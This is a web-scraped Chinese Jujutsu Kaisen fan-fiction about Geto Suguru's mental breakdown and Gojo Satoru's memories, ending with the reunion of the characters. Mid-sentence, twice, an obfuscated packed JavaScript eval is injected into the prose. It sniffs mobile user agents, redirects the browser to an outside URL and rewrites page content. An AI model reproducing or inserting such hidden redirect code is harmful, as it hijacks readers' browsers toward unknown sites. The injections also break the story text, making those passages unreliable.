她不把很多话跟夏油杰说,却又将言语化成伤人的刺对准另一个人,那段时间谁都很难熬,谁都不好过,家入硝子不知道那个不好的结局会不会在他们尚且还年轻时就早早地降临。她找五条悟,找那个最强咒术师,家入硝子跟他说,对自己说,“有些碎了的东西是拼不好的。”她相信自己在说这句话的时候,一定露出了某种神情,这让五条悟把语调放得很慢,不把这句话说出来显得太过冷硬,“为什么这么认为?明明还没有到最后。” 还没有到最后。他看起来那么肯定,看起来坚不可摧,永远都不服输。但家入硝子知道,事实并不如此,有很多事都不是表面看上去的那样,“你留不住他。”我们都留不住他。 白发咒术师缓慢地眨了下眼,他的大脑可以在一瞬间闪过很多的记忆,那些淌着血的片段,有人在其中破碎的片段。有很多事即使是最强也做不到的,“硝子,”他是那么的不确定,又满心的不甘,“不到最后,我不想放手。” 他说,“至少有我的存在,总会好一点。” 家入硝子没有再否定,或许他们都太累了,这些年里的夏天太长了,窗外的蝉鸣从不停歇,她念及这场对话中不在场的那个人,他们从不当着他的面说这些,他们只是期望,或许有一天就会好起来,总有一天。 还会更糟糕吗,家入硝子不知道,但那一定不是她所希望看见的。 “你待在这里啊。”家入硝子把地下室的门推开,昏暗的空间里多了些明亮的光线,沙发上的人没有回头。她避开散落在地上的碟片,抬头一看,银幕上播放着的是他们曾经闲得无聊用来打发时间的一部电影。她难得还记得这个剧情,虽然正邪对峙的情节很俗套,但那个结局将至未至,谁都不知道最后是否皆大欢喜。 年轻的她切实地希望无一人在这个故事中死去,现在的女医师仍旧希望如此。哪怕很多年前她就已经知晓这个故事是个大团圆的结尾,但现实却总是残缺的,一切都只会更糟。电影里的情节渐入尾声,好人感化了坏人,他们将仇恨忘记,不再痛苦,终于在最后达成了和解,放过彼此,也放过自己。 她把视线从灰白的画面上收回来,若无其事地开口,“五条在找你。”夏油杰这才转过头来,他的眉骨间落下明暗的光影,二十七岁的人仍旧显出几分柔软,与过去记忆里的黑发少年好像并无一二。 他突然提起的却是另一件事,“硝子,”夏油杰的语气很平静,“我想起来,灰原也曾问过我同样一个问题。” “——你相信五条前辈吗?”他记得年轻的后辈说话时总是不自觉向上的语调,活力满满的模样。而他问出这句话时,眼里没有笑意,他也并不怜悯,只是以笃定的目光望向夏油杰。就好像灰原雄早已有个肯定的答案,对于最强二人组,对于他心目中认定的最佳挚友。就像信任他们的实力那般,也信任着他们对彼此的感情。 夏油杰曾经的设想中灰原可能并不清楚他们是在谈论什么,倘若是性命相关,他无疑可以把自己的生死毫不犹豫地托付给五条悟,但五条悟却并不要自己为他而死,他要他活着。那要托付的就不仅仅是信任了,不仅仅是对实力的信任。在那段关系中,夏油杰是看不见的盲人,他抛下自己之前的一切,反而是五条悟过来要做他的眼睛,做他的引路人。 那段时间里他们称得上是彼此折磨,夏油杰怀疑一切,怀疑他人怀疑自己,他的梦里流淌着的是无辜者的血液,却又被一遍一遍地被告知现实里所有人都活着,他们都活着。但那是真实的吗,哪个才是他臆想出来的?他无从分辨。时间在那些夏天里停滞不前,更为残忍的命运向他揭露一角。 不知从何时起,他的认知开始错乱,夏油杰试图把这个问题隐藏起来,他本以为那只是短暂的,并不会很严重。但当他某一日看到在高专教室里和七海建人说笑的灰原雄时,眼泪突然掉落了下来。他不知道缘由,悲伤与痛苦、更多复杂的情绪一同向他袭来,近乎将夏油杰击垮。 他不知这眼泪为谁而落。所有夏油杰熟识的与不熟识的面孔都在眼前,有人无辜,有人罪恶。在周围其他人不知所措的目光中,白发的六眼神子紧紧地抓住了他的手,问怎么了。 “我好像在做梦。”他的世界就在一瞬间被推翻了,谁也不知道发生了什么,包括夏油杰。 梦与现实颠倒,咒术界很快就有传言说那位最强二人组之一、年轻的特级咒术师疯了。认知错乱,夏油杰是在家入硝子找关系请来的一位医生的笔记本上看见的,白底黑字写得清清楚楚。他们都想要探寻他脑子里的那个世界究竟是哪般模样,而夏油杰只会重复着那些颠三倒四的字眼。他的情况没法支撑他再出任务,和人交流都很难,有时候谈话到一半,就陷入无声的沉默中。他在这里,却又不在这里,他在自己所想的那个世界里迷失。 那些破碎的梦并不完整,五条悟、家入硝子,他所交好的那些人在现实中一遍又一遍地告诉他。 五条悟活着是真的,天内理子也还活着,灰原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299975|167130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雄他们都还活着。菜菜子与美美子也不再被普通人所虐待了。 你没有杀死任何一个人。 你没有害死任何一个人。 夏油杰知道外界在传什么,他知道有人担忧着他,他也尽力地想把自己恢复成原本的模样,可是,可是。那些真实的、鲜活的画面明明触手可及,却又那么遥不可及,像是有一堵隐形的、沉默的高墙阻隔在夏油杰的面前。 五条悟是那个把墙打碎的人,他破门而入,却在看见把自己缩在墙角的夏油杰时,那一瞬间属于年轻人所有的不理解与积压已久的埋怨被连接着心脏的痛楚给淹没。明明所有人都活着,所有人都很好,为什么你仍旧那么痛苦。 我在这里,杰。 他捧起夏油杰的脸庞,微微颤抖的身体在五条悟的触碰下那么柔软,那么脆弱。他将头抵在对方被汗水打湿的额头,紧紧地挨着,就好像这样心就可以连着心,可他们之间隔的不只有生死。五条悟是那么想留住眼前这个人。 “别离开我,”五条悟的指腹擦过黑发少年的眉眼,有融化的夏天在那抹紫色中,今年的这个夏天已经过去了,但谁不知道有一个人会不会等到下一个。年轻的白发咒术师深切地看着他,他不再是六眼神子了,至少他不再只用六眼去看这个世界了,他以天真而执拗的眼神望着夏油杰。 但他仍然不知道夏油杰所想的是什么,这个人就在离他心脏最近的地方,五条悟可以听到自己的、还有他的心跳声,那跳动都不平静,谁也不知道最后会怎么样。“告诉我,杰。” 你在想什么。 夏油杰抬起眼来,看不见的伤痕从未从他身上离开。 他说,我想去死。 “你给出答案了吗?”时隔很久,家入硝子因这个问题想起那些很早之前的记忆,那时她没有等到答案,但时间总会让人认清一些事情,比如有些碎了的东西仍旧还是碎的。 夏油杰点了点头,他露出了一个笑容。 家入硝子心平气和地说,“我想灰原肯定不是第一个知道答案的人。” “他是第二个。” 夏油杰说,“悟是第一个。” 话音刚落,门外传来许多杂乱的声音,双胞胎姐妹率先奔了进来,菜菜子开心地笑了起来,“我就知道在这里。”而美美子总是很容易害羞,她探出个脑袋问道,“夏油大人你今天的心情怎么样?” “很好哦,”他满含笑意地回答,“看见你们,心情就更好了。” 然后七海建人和灰原雄也匆匆赶到场,夏油杰也从他人口中知道了五条悟找他是因为管不住新来的那群一年级,硬说要找夏油老师来管教他们一下,这话的前半部分可信度很存疑,明白人都清楚对方可能就只是在放屁话。 地下室难得塞下这么多人,夏油杰怀疑起他们来这里的真实目的,追问之下,菜菜子把身后的东西拿了出来,那是一个年代有些久远的相机,他们想利用这里的设备看看这里面究竟是什么。家入硝子在看到这熟悉的物件时,就消了声。灰原雄挠了挠头,说他也好奇很久了。起因是他们意识到五条悟很宝贵这个相机。而七海建人纯属是被拉来凑热闹的。 “夏油前辈,你知道这里面是什么吗?” 夏油杰没有立即给出答案,而是把视线落在了他们的身后,他们下意识地转过头去,这才意识到白发咒术师不知何时来到了这里。“这可不能随便乱碰哦,还是把它乖乖交出来。” 其他想看热闹的人把最后的希望寄托在夏油杰身上,他们知道只要他开口,这事就有回旋的余地。然而后者拒绝了,“这是我们之间的秘密。”夏油杰看了眼五条悟和家入硝子,其余人嘘声一片。 “我已经一个人先看了一遍了,”夏油杰这么说的时候,五条悟的身体不太明显地僵硬了下,家入硝子则挑起了眉毛,“说好了到时候是我们三个人一起看吧。” 五条悟没忍住抱怨道,“什么时候的事——太犯规了吧,杰。” 夏油杰笑了起来,“我不介意和你们再看一遍的。” “我做了一个梦,梦醒之后,我什么都不记得。但你在这里,他们都在这里。” “我们还在一起。”今年的这个夏天过去了,但我们还会有明年的,后年的,一年又一年。过去已经发生了的无法当作不存在,但是。 你信任着一个人,而他最后抓住了你。 爱与生命永不停息。 13. 降临 “十二月已经来临。” 我不得安息。 他就像一个鬼魂从身后拥抱着我,我却只感到深深的冷意,心脏有个空洞始终无法被填补。我知道那是幻觉,他并不真实存在于这里。有血流淌了一地,我不必去看,也仍然知道那粘稠的触感与刺眼的颜色。他是爱,是诅咒,是我永远无法摆脱的鬼魂。 时间在这里停滞不前,记忆里的一切都可以被颠倒。我可以重回到某个时间点,意识寄托在过去的我身上,但我什么都不能做,什么都不能改变。我只能看着。 世间万物纷扰,我看到过的比我以为的还要多,那些我记得住名字的人与不知道名字却有过一面之缘的人,他们皆走过我的人生,又过早过晚地离去。我旁观着一切,那些翻涌着的情感再次向我袭来,或轻或重,只有一个人最为特殊。他好像始终不曾离开,他本身就是我所有寄托的存在,因他生命才有了可以衡量的标准。 我知道别人私底下怎么称呼我,最强,六眼神子,五条家的六眼。从我降临在这个世界上,有些东西就注定好了,与生俱来的无人能超越的术式与家世,我是那个打破咒术界平衡的人,我有那个资本可以眼高于顶,漠视与俯视着一切。因为我是五条悟,直到十五岁之前我都可以毫不夸张地认为整个世界都围绕着我转,但正当我十五岁之时,我显然还没有意识到之后的命运会有多么险恶,自我见到我命中注定会遇到的那个人时,我这一生所有的意义皆因他而起。 我看见我这一生中从二十八岁开始逆转过去的所有十二月,去年的十二月、前年的十二月,我记得所有发生过的事情,而它们在这里再度重演。那些十二月的中心都围绕着一个人转,我所见的世界都围绕着他转,那个鬼魂不放过我,我也不放过自己。我知道真实的他会怎么形容后来的我们,彼此折磨而毫无意义。但那是他会摆在明面上说的话,而我从不这么认为。 有一个十二月中,无论我回忆多少遍,回望我们之间所有的过去与当下,那一日是我永远会为之倾倒的一天。我在反复的琢磨里,一度认为他曾无意地诅咒过我,诅咒我之后的所有日日夜夜。 杰,你是那么的可恶,又那么的无辜。 我在这里重回到那一日,我透过苍天之瞳看着眼前的这个人。在蜡烛上闪烁的火星熄灭之前,他嘴角的笑容就要把我的心脏烧成灰烬。他站在那里,从死亡与沉寂的深渊中向上观望,却依旧是我记忆中最年轻鲜活、最美好平静的模样。 他一定诅咒过我。他说生日快乐悟,他说你会永远年轻永远强大永远快乐,他是那么真挚地说着。那双深紫色的眼里倒映着年轻时的我,尚且还一无所知、拥有着一切的我,我知道当时的自己毫无察觉地笑着,笑得见牙不见眼,有一颗心脏为夏油杰这个人而怦然跳动着,如此感情充沛而不知畏惧。 永远年轻,永远强大,永远快乐。 我不说当时的自己不以为意,只是在他的身边我可以心安一切,无需去想之后的种种。我是那么的理所当然地以为,这三个永远都是在有他存在的前提下而被期许的。他笑着说永远,但我知道这世界上不会再有永远了,不会再有了,杰。 越是刻意提起反而就越不可能实现,后来的我才明白这一点,所以我也才说那是一个诅咒,长达十年多一直困住我的诅咒,我既不会永远年轻,也不会永远强大,更不会快乐了。我仍然可以大笑出声,但不再会感到纯粹的快乐,因为你,只是因为你。 你当时说这句话的时候绝对没有想到过后来,我也没有。追根究底,这也算不上你的错,而我在没有你的十年中也没有搞清这到底是谁的错。 杰,我就那么看着你,你还会回应我的呼唤吗? 我对之后还没有遇到杰的早期岁月并不感到任何兴趣,无动于衷地看着又由少年重回到小时候的自己,我透过我幼时遇见过的那些人的眼中看见了那个六眼神子,不沾染人世的分毫,不受风与雪的侵袭,不会被任何人和诅咒困住。 对于很多人来说这再好不过了,最强咒术师没有弱点,也不会有弱点。而我只感到怜悯,怜悯这个太年轻的自己,他还没有遇到他注定会遇见的那个人。 你在怜悯我吗,我听见白发的六眼如此问道。我这才意识到他不知何时起站在我的面前,他比我矮很多,也比我无知得多。我脱离了回忆里的躯壳,其他所有人都不存在了,只有我与我自己。而我看见这个幼年六眼中的自己是十六七岁的模样,正值最好的年龄,但肉身之下却是二十八岁的灵魂,我比这个很小的自己要多出了二十岁不止。 我觉得这难得有趣了起来,因为当下发生的一切脱离了原有的轨迹。我笑意盈盈地肯定,当然啊,不可怜你可怜谁,你一定还不认识杰吧,留着怪刘海的一个家伙,让人又爱又恨。六眼忍不住用一种看白痴的眼神看着我,喂这里最该被可怜的人是你自己吧。 我可以肯定我的笑容绝对消失了一瞬,但很快又恢复如初,我自是知道另一个自己无法反击的一点是什么,哈——你会可怜吗。他却像看穿了一切那般看向我,不想笑就别笑,好丑,你口中的杰看到的就是你这副蠢样吗? 这让我大笑出声,我恨不得拍掌叫好,不不不,当然不是。我肯定自己对杰笑的时候,绝对是发自内心、最为真诚的笑容。我没把这话说出来,我只跟他说,你不会明白的,但你迟早有一天也会明白的。 就像你还没有经历后来的一切,而我却早早已经得到了一个故事的结局。 你要向前走,最开始这路上你所见的只会有无休止的风与雪,你将踏过无边无际的冰山与旷野,但这些都伤不到你、累不到你,你所见即为你所知。但杰不是,他是你历经重重风雪后会出现的人,他会陪伴着你,他会改变着你。他是你拥有过却又注定会失去的人,你要看着他远去,你要亲手杀死他,你还要最后让他不得安息。 我该如何开口告诉你之后的所有?我该怎么倾诉我对夏油杰的爱意?现在的你不会理解的,但终有一天,你会明白的。 这里的时间就是一个闭环,从结尾到开始,从开始到结尾,这是我最开始猜测的。但另一个自己的出现却告知了并不是如此,他的出现是因为什么,这个六眼有什么不同,为什么他是这里唯一特殊的存在? 唯一,特殊。 我在这一刻联想起了所有,在其他无数人眼里唯一而特殊的是我,是六眼,但在我这里,不是他,是杰,只会是杰。年幼版的我是还没有遇见他的自己,是我不必悔恨也不必逃避的存在,他远离杰的所有,他是最开始的我,是这个世界围绕着的中心。但对于当下的我,世界的中心只是那一个人。 你想要去哪,他在我想清楚的下一刻就问道。 我跟他说,我需要离开这里。 年轻的六眼神子说,那你知道离开这里要面对什么吧。 在他的话语落下之时,我感受到那宏大的命运再一次降 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299976|167130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临在这里,它在过去与当下之中显露出来,我知道我将要面临的是什么,又一次,我想到。 我有我必须要去做的事,杰也是我必须再去见一面的人。但是这一面怕是这个旧世界之中我们间的最后一面,不会再有下一次了,不会了。 你知道杰是什么样的存在吗?你的挚友。 也是你的,但不止于此。 他是爱,他是诅咒。他是你一定会遇见的命定之人,他是你永远不能摆脱的鬼魂。他是一场劫难。 为什么要对我说这么多?六眼的脸上难得出现疑惑的神情,他尚不能理解我说出口的一切。 我从不后悔遇见他。我这样回答年轻的自己。逃避也好,执念也好,这个虚假而又颠倒的世界皆因夏油杰而生,但困住我的人从来都是我自己。 我在这个世界将要破碎之时,想起来我后悔的有很多,而那都关于一个人,如果一切能重回,是不是我还来得及抓住你? “我看见了。” 什么,我问得漫不经心,手下动作不停,将裹尸布盖在又一名咒术师身上。死的人太多,收尸都要赶着排队了,我在心里讲了个烂笑话,很显然,我的精神状态不太稳定。 倒是我那见鬼的同期精神状况见鬼的稳定,没发疯也没杀活人,只是杀死了一个死人。 他给出的答案言简意赅,却又仿佛在故作玄乎,“另一种走向的可能。”我说好好好,你现在就给我走,别管可能不可能了,你挡着道了。 硝子,他喊了我的名字。我这才发现他望过来的眼神里藏着很多话,五条悟那白痴说,“我拉住了杰。” 我把我所有的烂笑话都塞回了肚子里,死的人够多了,仍有活者怀念过去的人。这一刻我才知道我这见鬼的同期精神状况很危急,“你知道你在说什么吗?” 我尽力不把话说得很直白,没讲他在痴人说梦,“时间过去那么久了,你现在是要跟我翻旧账吗?” 不,他摇了摇头,你相信我吗,硝子? 有一种可能中,谁都不会死去,没人会离开。“这听起来是个完美世界。”我干巴巴地评价道,但心脏却不能控制地漏了一拍。 “在突破狱门疆的时候,我看见了另一种可能,那是许诺好的新世界。”那跟我们又有什么关系呢,我又要叹气了。他回答,“因为那是我们将要发生的一切。” 我不小心把放在旁边的手术器具都给撞了下去,但我现在并不关心那个,我尽量想使语调平静下来,“你知道你在说什么吗?” 死的人够多了。五条悟说出这句话时,我隐隐约约间意识到了什么,我在此刻想起我的友人,我的后辈,我的师长,我认识的与我不认识的人。 如果真的有这样一个世界存在着,逆转时间,死者复生。这听起来太荒谬了。我最后跟他这样说道。 他那时跟我告别,说很快又会再见的。我不明白五条悟现在说出的这些狗屁不通的话,后者只是很平静地再问了一次,你相信我吗,硝子? 哈,你跟我谈相信。滚吧,去找你的另外一种可能吧。我不知道他要去哪里,我什么都不知道,但是我唯一可以肯定的是。 我从始至终都相信着你,相信着你们。 我没有说出口,但我清楚他知道。 看着他的背影逐渐消失在视野里,我等待着,等着世界重新在废墟之上成长,那时所有都会迎来明日与新生。 END.